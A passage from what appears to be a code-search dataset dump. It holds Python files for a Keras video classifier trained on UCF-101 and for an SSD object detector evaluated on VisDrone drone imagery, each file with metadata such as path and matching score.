vgg16_include_top)\n\t\tarchitecture_file_path = self.get_architecture_file_path(model_dir_path, vgg16_include_top)\n\n\t\tvgg16_model = VGG16(include_top=self.vgg16_include_top, weights='imagenet')\n\t\tvgg16_model.compile(optimizer=SGD(), loss='categorical_crossentropy', metrics=['accuracy'])\n\t\tself.vgg16_model = vgg16_model\n\n\t\tfeature_dir_name = data_set_name + '-VGG16-Features'\n\t\tif not vgg16_include_top:\n\t\t\tfeature_dir_name = data_set_name + '-VGG16-HiDimFeatures'\n\t\tmax_frames = 0\n\t\tself.labels = dict()\n\t\tx_samples, y_samples = scan_and_extract_vgg16_features(data_dir_path,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t output_dir_path=feature_dir_name,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t model=self.vgg16_model,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t data_set_name=data_set_name)\n\t\tself.num_input_tokens = x_samples[0].shape[1]\n\t\tframes_list = []\n\t\tfor x in x_samples:\n\t\t\tframes = x.shape[0]\n\t\t\tframes_list.append(frames)\n\t\t\tmax_frames = max(frames, max_frames)\n\t\t\tself.expected_frames = int(np.mean(frames_list))\n\t\tprint('max frames: ', max_frames)\n\t\tprint('expected frames: ', self.expected_frames)\n\t\tfor i in range(len(x_samples)):\n\t\t\tx = x_samples[i]\n\t\t\tframes = x.shape[0]\n\t\t\tprint(x.shape)\n\t\t\tif frames > self.expected_frames:\n\t\t\t\tx = x[0:self.expected_frames, :]\n\t\t\t\tx_samples[i] = x\n\t\t\telif frames < self.expected_frames:\n\t\t\t\ttemp = np.zeros(shape=(self.expected_frames, x.shape[1]))\n\t\t\t\ttemp[0:frames, :] = x\n\t\t\t\tx_samples[i] = temp\n\t\tfor y in y_samples:\n\t\t\tif y not in self.labels:\n\t\t\t\tself.labels[y] = len(self.labels)\n\t\tprint(self.labels)\n\t\tfor i in range(len(y_samples)):\n\t\t\ty_samples[i] = self.labels[y_samples[i]]\n\n\t\tself.nb_classes = len(self.labels)\n\n\t\ty_samples = np_utils.to_categorical(y_samples, self.nb_classes)\n\n\t\tconfig = dict()\n\t\tconfig['labels'] = self.labels\n\t\tconfig['nb_classes'] = self.nb_classes\n\t\tconfig['num_input_tokens'] = self.num_input_tokens\n\t\tconfig['expected_frames'] = self.expected_frames\n\t\tconfig['vgg16_include_top'] = self.vgg16_include_top\n\t\tself.config = config\n\n\t\tnp.save(config_file_path, config)\n\n\t\tmodel = self.create_model()\n\t\topen(architecture_file_path, 'w').write(model.to_json())\n\n\t\tXtrain, Xtest, Ytrain, Ytest = train_test_split(x_samples, y_samples, test_size=test_size,\n\t\t\t\t\t\t\t\t\t\t\t\t\t\trandom_state=random_state)\n\n\t\ttrain_gen = generate_batch(Xtrain, Ytrain)\n\t\ttest_gen = generate_batch(Xtest, Ytest)\n\n\t\ttrain_num_batches = len(Xtrain) // BATCH_SIZE\n\t\ttest_num_batches = len(Xtest) // BATCH_SIZE\n\n\t\tcheckpoint = ModelCheckpoint(filepath=weight_file_path, save_best_only=True)\n\t\thistory = model.fit_generator(generator=train_gen, steps_per_epoch=train_num_batches,\n\t\t\t\t\t\t\t\t\t epochs=NUM_EPOCHS,\n\t\t\t\t\t\t\t\t\t verbose=1, validation_data=test_gen, validation_steps=test_num_batches,\n\t\t\t\t\t\t\t\t\t callbacks=[checkpoint])\n\t\tmodel.save_weights(weight_file_path)\n\n\t\treturn history\n", "id": "520214", "language": "Python", "matching_score": 6.350738048553467, "max_stars_count": 0, "path": "keras_video_classifier/library/recurrent_networks.py" }, { "content": "import numpy as np\nfrom keras import Sequential\nfrom keras.callbacks import ModelCheckpoint\nfrom keras.layers import Conv2D, Activation, MaxPooling2D, Dropout, Flatten, Dense\nfrom keras.utils import np_utils\nfrom sklearn.model_selection import train_test_split\nfrom keras.utils.vis_utils import plot_model\n\nfrom keras_video_classifier.library.utility.frame_extractors.frame_extractor import scan_and_extract_videos_for_conv2d, \\\n extract_videos_for_conv2d\n\nBATCH_SIZE = 32\nNUM_EPOCHS = 20\n\n\ndef generate_batch(x_samples, y_samples):\n num_batches = len(x_samples) // BATCH_SIZE\n\n while True:\n for batchIdx in range(0, num_batches):\n start = batchIdx * BATCH_SIZE\n end = (batchIdx + 1) * BATCH_SIZE\n yield np.array(x_samples[start:end]), y_samples[start:end]\n\n\nclass CnnVideoClassifier(object):\n model_name = 'cnn'\n\n def __init__(self):\n self.img_width = None\n self.img_height = None\n self.img_channels = None\n self.nb_classes = None\n self.labels = None\n self.labels_idx2word = None\n self.model = None\n self.expected_frames = None\n self.config = None\n\n def create_model(self, input_shape, nb_classes):\n model = Sequential()\n model.add(Conv2D(filters=32, input_shape=input_shape, padding='same', kernel_size=(3, 3)))\n model.add(Activation('relu'))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n\n model.add(Conv2D(filters=32, padding='same', kernel_size=(3, 3)))\n model.add(Activation('relu'))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n\n model.add(Dropout(rate=0.25))\n\n model.add(Conv2D(filters=64, kernel_size=(3, 3), padding='same'))\n model.add(Activation('relu'))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n\n model.add(Conv2D(filters=64, padding='same', kernel_size=(3, 3)))\n model.add(Activation('relu'))\n model.add(MaxPooling2D(pool_size=(2, 2)))\n\n model.add(Dropout(rate=0.25))\n\n model.add(Flatten())\n model.add(Dense(units=512))\n model.add(Activation('relu'))\n model.add(Dropout(rate=0.5))\n model.add(Dense(units=nb_classes))\n model.add(Activation('softmax'))\n\n model.compile(optimizer='rmsprop', loss='categorical_crossentropy', metrics=['accuracy'])\n\n return model\n\n @staticmethod\n def get_config_file_path(model_dir_path):\n return model_dir_path + '/' + CnnVideoClassifier.model_name + '-config.npy'\n\n @staticmethod\n def get_weight_file_path(model_dir_path):\n return model_dir_path + '/' + CnnVideoClassifier.model_name + '-weights.h5'\n\n @staticmethod\n def get_architecture_file_path(model_dir_path):\n return model_dir_path + '/' + CnnVideoClassifier.model_name + '-architecture.json'\n\n def load_model(self, config_file_path, weight_file_path):\n\n config = np.load(config_file_path).item()\n self.img_width = config['img_width']\n self.img_height = config['img_height']\n self.nb_classes = config['nb_classes']\n self.labels = config['labels']\n self.expected_frames = config['expected_frames']\n self.labels_idx2word = dict([(idx, word) for word, idx in self.labels.items()])\n self.config = config\n\n self.model = self.create_model(\n input_shape=(self.img_width, self.img_height, self.expected_frames),\n nb_classes=self.nb_classes)\n self.model.load_weights(weight_file_path)\n\n def predict(self, video_file_path):\n x = extract_videos_for_conv2d(video_file_path, None, self.expected_frames)\n frames = x.shape[2]\n if frames > self.expected_frames:\n x = x[:, :, 0:self.expected_frames]\n elif frames < self.expected_frames:\n temp = np.zeros(shape=(x.shape[0], x.shape[1], self.expected_frames))\n temp[:, :, 0:frames] = x\n x = temp\n predicted_class = np.argmax(self.model.predict(np.array([x]))[0])\n predicted_label = self.labels_idx2word[predicted_class]\n return predicted_label\n\n def fit(self, data_dir_path, model_dir_path, epochs=NUM_EPOCHS, data_set_name='UCF-101', max_frames=10,\n test_size=0.3,\n random_state=42):\n\n config_file_path = self.get_config_file_path(model_dir_path)\n weight_file_path = self.get_weight_file_path(model_dir_path)\n architecture_file_path = self.get_architecture_file_path(model_dir_path)\n\n self.labels = dict()\n x_samples, y_samples = scan_and_extract_videos_for_conv2d(data_dir_path,\n max_frames=max_frames,\n data_set_name=data_set_name)\n self.img_width, self.img_height, _ = x_samples[0].shape\n frames_list = []\n for x in x_samples:\n frames = x.shape[2]\n frames_list.append(frames)\n max_frames = max(frames, max_frames)\n self.expected_frames = int(np.mean(frames_list))\n print('max frames: ', max_frames)\n print('expected frames: ', self.expected_frames)\n for i in range(len(x_samples)):\n x = x_samples[i]\n frames = x.shape[2]\n if frames > self.expected_frames:\n x = x[:, :, 0:self.expected_frames]\n x_samples[i] = x\n elif frames < self.expected_frames:\n temp = np.zeros(shape=(x.shape[0], x.shape[1], self.expected_frames))\n temp[:, :, 0:frames] = x\n x_samples[i] = temp\n for y in y_samples:\n if y not in self.labels:\n self.labels[y] = len(self.labels)\n print(self.labels)\n for i in range(len(y_samples)):\n y_samples[i] = self.labels[y_samples[i]]\n\n self.nb_classes = len(self.labels)\n\n y_samples = np_utils.to_categorical(y_samples, self.nb_classes)\n\n config = dict()\n config['labels'] = self.labels\n config['nb_classes'] = self.nb_classes\n config['img_width'] = self.img_width\n config['img_height'] = self.img_height\n config['expected_frames'] = self.expected_frames\n\n print(config)\n\n self.config = config\n\n np.save(config_file_path, config)\n\n model = self.create_model(input_shape=(self.img_width, self.img_height, self.expected_frames),\n nb_classes=self.nb_classes)\n open(architecture_file_path, 'w').write(model.to_json())\n\n Xtrain, Xtest, Ytrain, Ytest = train_test_split(x_samples, y_samples, test_size=test_size,\n random_state=random_state)\n\n train_gen = generate_batch(Xtrain, Ytrain)\n test_gen = generate_batch(Xtest, Ytest)\n\n train_num_batches = len(Xtrain) // BATCH_SIZE\n test_num_batches = len(Xtest) // BATCH_SIZE\n\n print('start fit_generator')\n\n checkpoint = ModelCheckpoint(filepath=weight_file_path, save_best_only=True)\n history = model.fit_generator(generator=train_gen, steps_per_epoch=train_num_batches,\n epochs=epochs,\n verbose=1, validation_data=test_gen, validation_steps=test_num_batches,\n callbacks=[checkpoint])\n model.save_weights(weight_file_path)\n\n return history\n\n def save_graph(self, to_file):\n plot_model(self.model, to_file=to_file)\n\n", "id": "4848582", "language": "Python", "matching_score": 2.8446943759918213, "max_stars_count": 108, "path": "keras_video_classifier/library/convolutional.py" }, { "content": "import numpy as np\nfrom keras import backend as K\nimport os\nimport sys\n\n\ndef patch_path(path):\n return os.path.join(os.path.dirname(__file__), path)\n\n\ndef main():\n K.set_image_dim_ordering('tf')\n sys.path.append(patch_path('..'))\n\n from keras_video_classifier.library.recurrent_networks import VGG16BidirectionalLSTMVideoClassifier\n from keras_video_classifier.library.utility.plot_utils import plot_and_save_history\n from keras_video_classifier.library.utility.ucf.UCF101_loader import load_ucf\n\n data_set_name = 'UCF-101'\n input_dir_path = patch_path('very_large_data')\n output_dir_path = patch_path('models/' + data_set_name)\n report_dir_path = patch_path('reports/' + data_set_name)\n\n np.random.seed(42)\n\n # this line downloads the video files of UCF-101 dataset if they are not available in the very_large_data folder\n load_ucf(input_dir_path)\n\n classifier = VGG16BidirectionalLSTMVideoClassifier()\n\n history = classifier.fit(data_dir_path=input_dir_path, model_dir_path=output_dir_path, data_set_name=data_set_name)\n\n plot_and_save_history(history, VGG16BidirectionalLSTMVideoClassifier.model_name,\n report_dir_path + '/' + VGG16BidirectionalLSTMVideoClassifier.model_name + '-history.png')\n\n\nif __name__ == '__main__':\n main()\n", "id": "456032", "language": "Python", "matching_score": 5.879310607910156, "max_stars_count": 108, "path": "demo/vgg16_bidirectional_lstm_train.py" }, { "content": "import numpy as np\nfrom keras import backend as K\nimport os\nfrom keras_video_classifier.library.utility.plot_utils import plot_and_save_history\n\nfrom keras_video_classifier.library.convolutional import CnnVideoClassifier\nfrom keras_video_classifier.library.utility.ucf.UCF101_loader import load_ucf\n\nK.set_image_dim_ordering('tf')\n\n\ndef patch_path(path):\n return os.path.join(os.path.dirname(__file__), path)\n\n\ndef main():\n data_set_name = 'UCF-101'\n input_dir_path = patch_path('very_large_data')\n output_dir_path = patch_path('models/' + data_set_name)\n report_dir_path = patch_path('reports/' + data_set_name)\n\n np.random.seed(42)\n\n # this line downloads the video files of UCF-101 dataset if they are not available in the very_large_data folder\n load_ucf(input_dir_path)\n\n classifier = CnnVideoClassifier()\n\n history = classifier.fit(data_dir_path=input_dir_path, model_dir_path=output_dir_path,\n data_set_name=data_set_name,\n max_frames=10)\n\n plot_and_save_history(history, CnnVideoClassifier.model_name,\n report_dir_path + '/' + CnnVideoClassifier.model_name + '-history.png')\n\n\nif __name__ == '__main__':\n main()\n", "id": "5258199", "language": "Python", "matching_score": 0.5086284875869751, "max_stars_count": 108, "path": "demo/cnn_train.py" }, { "content": "import sys\r\nimport os\r\nsys.path.insert(0, os.path.join(os.path.dirname(__file__), '..'))\r\nfrom keras.optimizers import Adam, SGD\r\nfrom keras.callbacks import ModelCheckpoint, LearningRateScheduler, TerminateOnNaN, CSVLogger\r\nfrom keras import backend as K\r\nfrom keras.models import load_model\r\nfrom keras.preprocessing import image\r\nfrom math import ceil\r\nimport numpy as np\r\nfrom matplotlib import pyplot as plt\r\n\r\nfrom models.keras_ssd300 import ssd_300\r\nfrom keras_loss_function.keras_ssd_loss import SSDLoss\r\nfrom keras_layers.keras_layer_AnchorBoxes import AnchorBoxes\r\nfrom keras_layers.keras_layer_DecodeDetections import DecodeDetections\r\nfrom keras_layers.keras_layer_DecodeDetectionsFast import DecodeDetectionsFast\r\nfrom keras_layers.keras_layer_L2Normalization import L2Normalization\r\n\r\nfrom ssd_encoder_decoder.ssd_input_encoder import SSDInputEncoder\r\nfrom ssd_encoder_decoder.ssd_output_decoder import decode_detections, decode_detections_fast\r\n\r\nfrom data_generator.object_detection_2d_data_generator import DataGenerator\r\nfrom data_generator.object_detection_2d_geometric_ops import Resize\r\nfrom data_generator.object_detection_2d_photometric_ops import ConvertTo3Channels\r\nfrom data_generator.data_augmentation_chain_original_ssd import SSDDataAugmentation\r\nfrom data_generator.object_detection_2d_misc_utils import apply_inverse_transforms\r\n\r\n\r\n# Set a few configuration parameters.\r\nimg_height = 300\r\nimg_width = 300\r\nn_classes = 10\r\nmodel_mode = 'training'\r\nnormalize_coords = True\r\n\r\n# TODO: Set the path to the `.h5` file of the model to be loaded.\r\nmodel_path = \"/mnt/data/nhuthuynh/SSD/models/ssd300_visdrone2019_epoch-70_loss-4.8976_val_loss-8.2627.h5\"\r\n\r\n# We need to create an SSDLoss object in order to pass that to the model loader.\r\nssd_loss = SSDLoss(neg_pos_ratio=3, alpha=1.0)\r\n\r\nK.clear_session() # Clear previous models from memory.\r\n\r\nmodel = load_model(model_path, custom_objects={'AnchorBoxes': AnchorBoxes,\r\n 'L2Normalization': L2Normalization,\r\n 'DecodeDetections': DecodeDetections,\r\n 'compute_loss': ssd_loss.compute_loss})\r\n\r\nimages_path = \"/mnt/data/nhuthuynh/sequences/\"\r\nresults_path = \"./results\"\r\nlist_file = []\r\nfor folder in os.listdir(images_path):\r\n folder_path = os.path.join(images_path,folder)\r\n for image in os.listdir(folder_path):\r\n image_path = os.path.join(folder_path,image)\r\n list_file.append(image_path)\r\nval_dataset = DataGenerator(load_images_into_memory=True, filenames=list_file, hdf5_dataset_path=None)\r\n\r\nconvert_to_3_channels = ConvertTo3Channels()\r\nresize = Resize(height=img_height, width=img_width)\r\npredict_generator = val_dataset.generate(batch_size=1,\r\n shuffle=True,\r\n transformations=[convert_to_3_channels,\r\n resize],\r\n label_encoder=None,\r\n returns={'processed_images',\r\n 'filenames',\r\n 'inverse_transform',\r\n 'original_images'},\r\n keep_images_without_gt=True)\r\n\r\nclasses = [\"ignore_region\",\"pedestrian\",\"people\",\"bicycle\",\"car\",\"van\",\"truck\",\"tricycle\",\"awning-tricycle\",\"bus\",\"motor\",\"others\"]\r\n\r\nfor i in range(len(list_file)):\r\n batch_images, batch_filenames, batch_inverse_transforms, batch_original_images = next(predict_generator)\r\n # print(\"list file {}\".format(len(list_file)))\r\n # print(\"list image {}\".format(len(batch_filenames)))\r\n # print(i)\r\n print(\"Image:\", batch_filenames[0])\r\n y_pred = model.predict(batch_images)\r\n y_pred_decoded = decode_detections(y_pred,\r\n confidence_thresh=0.5,\r\n iou_threshold=0.4,\r\n top_k=200,\r\n normalize_coords=normalize_coords,\r\n img_height=img_height,\r\n img_width=img_width)\r\n y_pred_decoded_inv = apply_inverse_transforms(y_pred_decoded, batch_inverse_transforms)\r\n img_name = os.path.basename(batch_filenames[0])\r\n video_name = os.path.basename(os.path.dirname(batch_filenames[0]))\r\n file_name = video_name+'_'+os.path.splitext(img_name)[0]+'.txt' #detected result file\r\n file_path = os.path.join('./results',file_name)\r\n with open(file_path,'w') as file:\r\n for box in y_pred_decoded_inv[0]:\r\n xmin = box[2]\r\n ymin = box[3]\r\n xmax = box[4]\r\n ymax = box[5]\r\n w = abs(xmax-xmin)\r\n h = abs(ymax-ymin)\r\n label = '{}'.format(classes[int(box[0])])\r\n file.write(str(label)+','+str(int(xmin))+','+str(int(ymin))+','+str(int(w))+','+str(int(h)))\r\n file.write('\\n')", "id": "10274236", "language": "Python", "matching_score": 10.102499008178711, "max_stars_count": 0, "path": "bin/generate_detection_file.py" }, { "content": "import sys\r\nimport os\r\nimport time\r\nsys.path.insert(0, os.path.join(os.path.dirname(__file__), '..'))\r\nfrom keras.optimizers import Adam, SGD\r\nfrom keras.callbacks import ModelCheckpoint, LearningRateScheduler, TerminateOnNaN, CSVLogger\r\nfrom keras import backend as K\r\nfrom keras.models import load_model\r\nfrom keras.preprocessing import image\r\nfrom math import ceil\r\nimport numpy as np\r\nfrom matplotlib import pyplot as plt\r\n\r\nfrom models.keras_ssd300 import ssd_300\r\nfrom keras_loss_function.keras_ssd_loss import SSDLoss\r\nfrom keras_layers.keras_layer_AnchorBoxes import AnchorBoxes\r\nfrom keras_layers.keras_layer_DecodeDetections import DecodeDetections\r\nfrom keras_layers.keras_layer_DecodeDetectionsFast import DecodeDetectionsFast\r\nfrom keras_layers.keras_layer_L2Normalization import L2Normalization\r\n\r\nfrom ssd_encoder_decoder.ssd_input_encoder import SSDInputEncoder\r\nfrom ssd_encoder_decoder.ssd_output_decoder import decode_detections, decode_detections_fast\r\n\r\nfrom data_generator.object_detection_2d_data_generator import DataGenerator\r\nfrom data_generator.object_detection_2d_geometric_ops import Resize\r\nfrom data_generator.object_detection_2d_photometric_ops import ConvertTo3Channels\r\nfrom data_generator.data_augmentation_chain_original_ssd import SSDDataAugmentation\r\nfrom data_generator.object_detection_2d_misc_utils import apply_inverse_transforms\r\n\r\n\r\n# Set a few configuration parameters.\r\nimg_height = 300\r\nimg_width = 300\r\nn_classes = 10\r\nmodel_mode = 'training'\r\nnormalize_coords = True\r\n\r\n# TODO: Set the path to the `.h5` file of the model to be loaded.\r\nmodel_path = \"/mnt/data/nhuthuynh/SSD/models/ssd300_visdrone2019_epoch-70_loss-4.8976_val_loss-8.2627.h5\"\r\n\r\n# We need to create an SSDLoss object in order to pass that to the model loader.\r\nssd_loss = SSDLoss(neg_pos_ratio=3, alpha=1.0)\r\n\r\nK.clear_session() # Clear previous models from memory.\r\n\r\nmodel = load_model(model_path, custom_objects={'AnchorBoxes': AnchorBoxes,\r\n 'L2Normalization': L2Normalization,\r\n 'DecodeDetections': DecodeDetections,\r\n 'compute_loss': ssd_loss.compute_loss})\r\n\r\nval_dataset = DataGenerator(load_images_into_memory=True, filenames=[\"/mnt/data/visdrone2018/gdown.pl/VisDrone2019-VID-val/sequences/uav0000305_00000_v/0000093.jpg\"\r\n], hdf5_dataset_path=None)\r\n\r\nconvert_to_3_channels = ConvertTo3Channels()\r\nresize = Resize(height=img_height, width=img_width)\r\npredict_generator = val_dataset.generate(batch_size=1,\r\n shuffle=True,\r\n transformations=[convert_to_3_channels,\r\n resize],\r\n label_encoder=None,\r\n returns={'processed_images',\r\n 'filenames',\r\n 'inverse_transform',\r\n 'original_images'},\r\n keep_images_without_gt=True)\r\nbatch_images, batch_filenames, batch_inverse_transforms, batch_original_images = next(predict_generator)\r\ni = 0 # Which batch item to look at\r\n\r\nprint(\"Image:\", batch_filenames[i])\r\nstart = time.time()\r\ny_pred = model.predict(batch_images)\r\nprint(\"Processing time: {}\".format(time.time()-start))\r\n\r\nstart = time.time()\r\ny_pred = model.predict(batch_images)\r\nprint(\"Processing time: {}\".format(time.time()-start))\r\n# img = image.load_img(\"/mnt/data/visdrone2018/gdown.pl/VisDrone2019-VID-val/sequences/uav0000268_05773_v/0000571.jpg\", target_size=(img_width, img_height))\r\n# x = image.img_to_array(img)\r\n# x = np.expand_dims(x, axis=0)\r\n\r\n#boxes, scores, labels = model.predict(x)\r\n# for box, score, label in zip(boxes[0], scores[0], labels[0]):\r\n# \tprint(\"Label: {}, score: {}\".format(label,score))\r\n\r\n# 4: Decode the raw predictions in `y_pred`.\r\n\r\ny_pred_decoded = decode_detections(y_pred,\r\n confidence_thresh=0.5,\r\n iou_threshold=0.4,\r\n top_k=200,\r\n normalize_coords=normalize_coords,\r\n img_height=img_height,\r\n img_width=img_width)\r\ny_pred_decoded_inv = apply_inverse_transforms(y_pred_decoded, batch_inverse_transforms)\r\n\r\nnp.set_printoptions(precision=2, suppress=True, linewidth=90)\r\nprint(\"Predicted boxes:\\n\")\r\nprint(' class conf xmin ymin xmax ymax')\r\nprint(y_pred_decoded_inv[i])\r\n\r\ncolors = plt.cm.hsv(np.linspace(0, 1, n_classes+1)).tolist()\r\nclasses = [\"ignore_region\",\"pedestrian\",\"people\",\"bicycle\",\"car\",\"van\",\"truck\",\"tricycle\",\"awning-tricycle\",\"bus\",\"motor\",\"others\"]\r\n\r\nplt.figure(figsize=(20,12))\r\nplt.imshow(batch_original_images[i])\r\ncurrent_axis = plt.gca()\r\nfor box in y_pred_decoded_inv[i]:\r\n xmin = box[2]\r\n ymin = box[3]\r\n xmax = box[4]\r\n ymax = box[5]\r\n color = colors[int(box[0])]\r\n label = '{}'.format(classes[int(box[0])])\r\n current_axis.add_patch(plt.Rectangle((xmin, ymin), xmax-xmin, ymax-ymin, color=color, fill=False, linewidth=2)) \r\n current_axis.text(xmin, ymin, label, size='x-large', color='white', bbox={'edgecolor':color, 'alpha':1.0})\r\nplt.savefig(\"demo.png\")", "id": "12730528", "language": "Python", "matching_score": 7.057595729827881, "max_stars_count": 0, "path": "bin/demo.py" }, { "content": "import sys\r\nimport os\r\nsys.path.insert(0, os.path.join(os.path.dirname(__file__), '..'))\r\nfrom keras import backend as K\r\nfrom keras.models import load_model\r\nfrom keras.optimizers import Adam\r\nfrom scipy.misc import imread\r\nimport numpy as np\r\nfrom matplotlib import pyplot as plt\r\n\r\nfrom models.keras_ssd300 import ssd_300\r\nfrom keras_loss_function.keras_ssd_loss import SSDLoss\r\nfrom keras_layers.keras_layer_AnchorBoxes import AnchorBoxes\r\nfrom keras_layers.keras_layer_DecodeDetections import DecodeDetections\r\nfrom keras_layers.keras_layer_DecodeDetectionsFast import DecodeDetectionsFast\r\nfrom keras_layers.keras_layer_L2Normalization import L2Normalization\r\nfrom data_generator.object_detection_2d_data_generator import DataGenerator\r\nfrom eval_utils.average_precision_evaluator import Evaluator\r\n\r\n# Set a few configuration parameters.\r\nimg_height = 300\r\nimg_width = 300\r\nn_classes = 10\r\nmodel_mode = 'training'\r\n\r\n'''LOAD TRAINED SSD'''\r\n #Build the model and load trained weights into it\r\n # 1: Build the Keras model\r\n\r\nK.clear_session() # Clear previous models from memory.\r\n\r\nmodel = ssd_300(image_size=(img_height, img_width, 3),\r\n n_classes=n_classes,\r\n mode=model_mode,\r\n l2_regularization=0.0005,\r\n scales=[0.1, 0.2, 0.37, 0.54, 0.71, 0.88, 1.05], # The scales for MS COCO [0.07, 0.15, 0.33, 0.51, 0.69, 0.87, 1.05]\r\n aspect_ratios_per_layer=[[1.0, 2.0, 0.5],\r\n [1.0, 2.0, 0.5, 3.0, 1.0/3.0],\r\n [1.0, 2.0, 0.5, 3.0, 1.0/3.0],\r\n [1.0, 2.0, 0.5, 3.0, 1.0/3.0],\r\n [1.0, 2.0, 0.5],\r\n [1.0, 2.0, 0.5]],\r\n two_boxes_for_ar1=True,\r\n steps=[8, 16, 32, 64, 100, 300],\r\n offsets=[0.5, 0.5, 0.5, 0.5, 0.5, 0.5],\r\n clip_boxes=False,\r\n variances=[0.1, 0.1, 0.2, 0.2],\r\n normalize_coords=True,\r\n subtract_mean=[123, 117, 104],\r\n swap_channels=[2, 1, 0],\r\n confidence_thresh=0.01,\r\n iou_threshold=0.45,\r\n top_k=200,\r\n nms_max_output_size=400)\r\n\r\n# 2: Load the trained weights into the model.\r\n\r\n# TODO: Set the path of the trained weights.\r\nweights_path = \"/mnt/data/nhuthuynh/SSD/models/ssd300_visdrone2019_epoch-70_loss-4.8976_val_loss-8.2627.h5\"\r\nmodel.load_weights(weights_path, by_name=True)\r\n\r\n# 3: Compile the model so that Keras won't complain the next time you load it.\r\n\r\nadam = Adam(lr=0.001, beta_1=0.9, beta_2=0.999, epsilon=1e-08, decay=0.0)\r\n\r\nssd_loss = SSDLoss(neg_pos_ratio=3, alpha=1.0)\r\n\r\nmodel.compile(optimizer=adam, loss=ssd_loss.compute_loss)\r\n\r\n'''Create a data generator for the evaluation dataset'''\r\ndataset = DataGenerator(load_images_into_memory=False, hdf5_dataset_path=\"/mnt/data/nhuthuynh/SSD/hdf5_dataset/visdrone2019_val.h5\")\r\n# TODO: Set the paths to the dataset here.\r\nPascal_VOC_dataset_images_dir = \"/mnt/data/nhuthuynh/visdrone-data-VOC-format/VOCdevkit/VOC2007/JPEGImages\"\r\nPascal_VOC_dataset_annotations_dir = \"/mnt/data/nhuthuynh/visdrone-data-VOC-format/VOCdevkit/VOC2007/Annotations\"\r\nPascal_VOC_dataset_image_set_filename = \"/mnt/data/nhuthuynh/visdrone-data-VOC-format/VOCdevkit/VOC2007/ImageSets/Main/val.txt\"\r\n\r\n# # The XML parser needs to now what object class names to look for and in which order to map them to integers.\r\n# classes = [\"ignore_region\",\"pedestrian\",\"people\",\"bicycle\",\"car\",\"van\",\"truck\",\"tricycle\",\"awning-tricycle\",\"bus\",\"motor\",\"others\"]\r\n\r\n# dataset.parse_xml(images_dirs=[Pascal_VOC_dataset_images_dir],\r\n# image_set_filenames=[Pascal_VOC_dataset_image_set_filename],\r\n# annotations_dirs=[Pascal_VOC_dataset_annotations_dir],\r\n# classes=classes,\r\n# include_classes='all',\r\n# exclude_truncated=False,\r\n# exclude_difficult=False,\r\n# ret=False)\r\n\r\n'''RUN EVALUATTION'''\r\nevaluator = Evaluator(model=model,\r\n n_classes=n_classes,\r\n data_generator=dataset,\r\n model_mode=model_mode)\r\n\r\nresults = evaluator(img_height=img_height,\r\n img_width=img_width,\r\n batch_size=32,\r\n data_generator_mode='resize',\r\n round_confidences=False,\r\n matching_iou_threshold=0.5,\r\n border_pixels='include',\r\n sorting_algorithm='quicksort',\r\n average_precision_mode='sample',\r\n num_recall_points=11,\r\n ignore_neutral_boxes=True,\r\n return_precisions=True,\r\n return_recalls=True,\r\n return_average_precisions=True,\r\n verbose=True)\r\n\r\nmean_average_precision, average_precisions, precisions, recalls = results\r\nclasses = [\"ignore_region\",\"pedestrian\",\"people\",\"bicycle\",\"car\",\"van\",\"truck\",\"tricycle\",\"awning-tricycle\",\"bus\",\"motor\",\"others\"]\r\n'''VISUALIZE THE RESULT'''\r\nfor i in range(1, len(average_precisions)):\r\n print(\"{:<14}{:<6}{}\".format(classes[i], 'AP', round(average_precisions[i], 3)))\r\nprint()\r\nprint(\"{:<14}{:<6}{}\".format('','mAP', round(mean_average_precision, 3)))\r\n", "id": "10385358", "language": "Python", "matching_score": 3.2881102561950684, "max_stars_count": 0, "path": "bin/evaluate.py" }, { "content": "import os\r\nfrom os import listdir\r\nfrom os.path import isfile, join\r\nimport fnmatch\r\nimport xml.etree.ElementTree as ET\r\npath = \"/mnt/data/nhuthuynh/visdrone-data-VOC-format/VOCdevkit/VOC2007/JPEGImages/\"\r\ntxtFile = open('train.txt','w')\r\nfor file in listdir(path):\r\n\t\tif '.jpg' == os.path.splitext(file)[1]:\r\n\t\t\tannofile = os.path.join(\"/mnt/data/nhuthuynh/visdrone-data-VOC-format/VOCdevkit/VOC2007/Annotations/\",os.path.splitext(file)[0]+\".xml\")\r\n\t\t\tif os.path.isfile(annofile):\r\n\t\t\t\ttry:\r\n\t\t\t\t\tET.parse(annofile)\r\n\t\t\t\t\ttxtFile.write(os.path.splitext(file)[0]+'\\n')\r\n\t\t\t\texcept:\r\n\t\t\t\t\tprint(\"Cant parse file: {}\".format(os.path.basename(annofile)))\r\n\t\t\t\t\tcontinue\r\n# file = listdir(path)[-1]\r\n# txtFile.write(os.path.join(path,os.path.splitext(file)[0])+'\\n')\r\ntxtFile.close()\r\n", "id": "8253716", "language": "Python", "matching_score": 0.030046479776501656, "max_stars_count": 0, "path": "generateTrainSet.py" }, { "content": "import pickle as pk\nwith open(\"C:\\\\Users\\\\Admin\\\\Desktop\\\\Python\\\\Gits\\\\keras-video-classifier\\\\demo\\\\real-data\\\\HCVR_ch9_main_20181213110002_20181213111017.avi-VGG16-Features\\\\HCVR_ch9_main_20181213110002_20181213111017.pickle\", 'rb') as pickle_file:\n\tcontent = pk.load(pickle_file)\n\tprint(content)\n", "id": "8898056", "language": "Python", "matching_score": 0.01774788647890091, "max_stars_count": 0, "path": "demo/test.py" } ]
3.564334